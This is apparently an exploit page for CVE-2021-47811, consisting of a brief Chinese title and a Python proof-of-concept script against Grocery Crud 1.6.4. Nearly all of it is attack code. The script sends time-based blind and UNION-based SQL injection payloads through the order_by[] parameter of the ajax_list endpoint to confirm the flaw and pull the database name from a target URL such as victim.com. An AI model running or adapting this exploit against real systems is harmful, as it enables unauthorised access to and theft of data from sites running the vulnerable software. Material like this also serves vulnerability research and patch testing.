CVE-2021-47811: Grocery Crud 1.6.4 order_by参数SQL注入漏洞

import requests import sys # CVE-2021-47811 PoC - Grocery Crud SQL Injection in order_by parameter # Target: Grocery Crud 1.6.4 # Endpoint: ajax_list def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2021-47811 This exploits the order_by[] parameter in the ajax_list endpoint """ # Target endpoint endpoint = f"{target_url.rstrip('/')}/ajax_list" # Malicious payload to extract database version # Using time-based blind SQL injection for safe exploitation payload = "1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)--" # Construct POST data post_data = { 'order_by[]': payload, 'page': 1, 'per_page': 10 } print(f"[*] Target: {endpoint}") print(f"[*] Payload: {payload}") try: # Send malicious request response = requests.post(endpoint, data=post_data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability Confirmed - SQL Injection Successful") return True else: print("[-] Target may not be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(target_url): """ Extract database information using UNION-based injection """ endpoint = f"{target_url.rstrip('/')}/ajax_list" # UNION-based injection to extract database name union_payload = "1 UNION SELECT database(),2,3,4,5,6,7,8,9,10--" post_data = { 'order_by[]': union_payload, 'page': 1, 'per_page': 10 } print(f"[*] Extracting database information...") try: response = requests.post(endpoint, data=post_data, timeout=10) print(f"[+] Response received") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://victim.com/grocery-crud") sys.exit(1) target = sys.argv[1] exploit_sqli(target)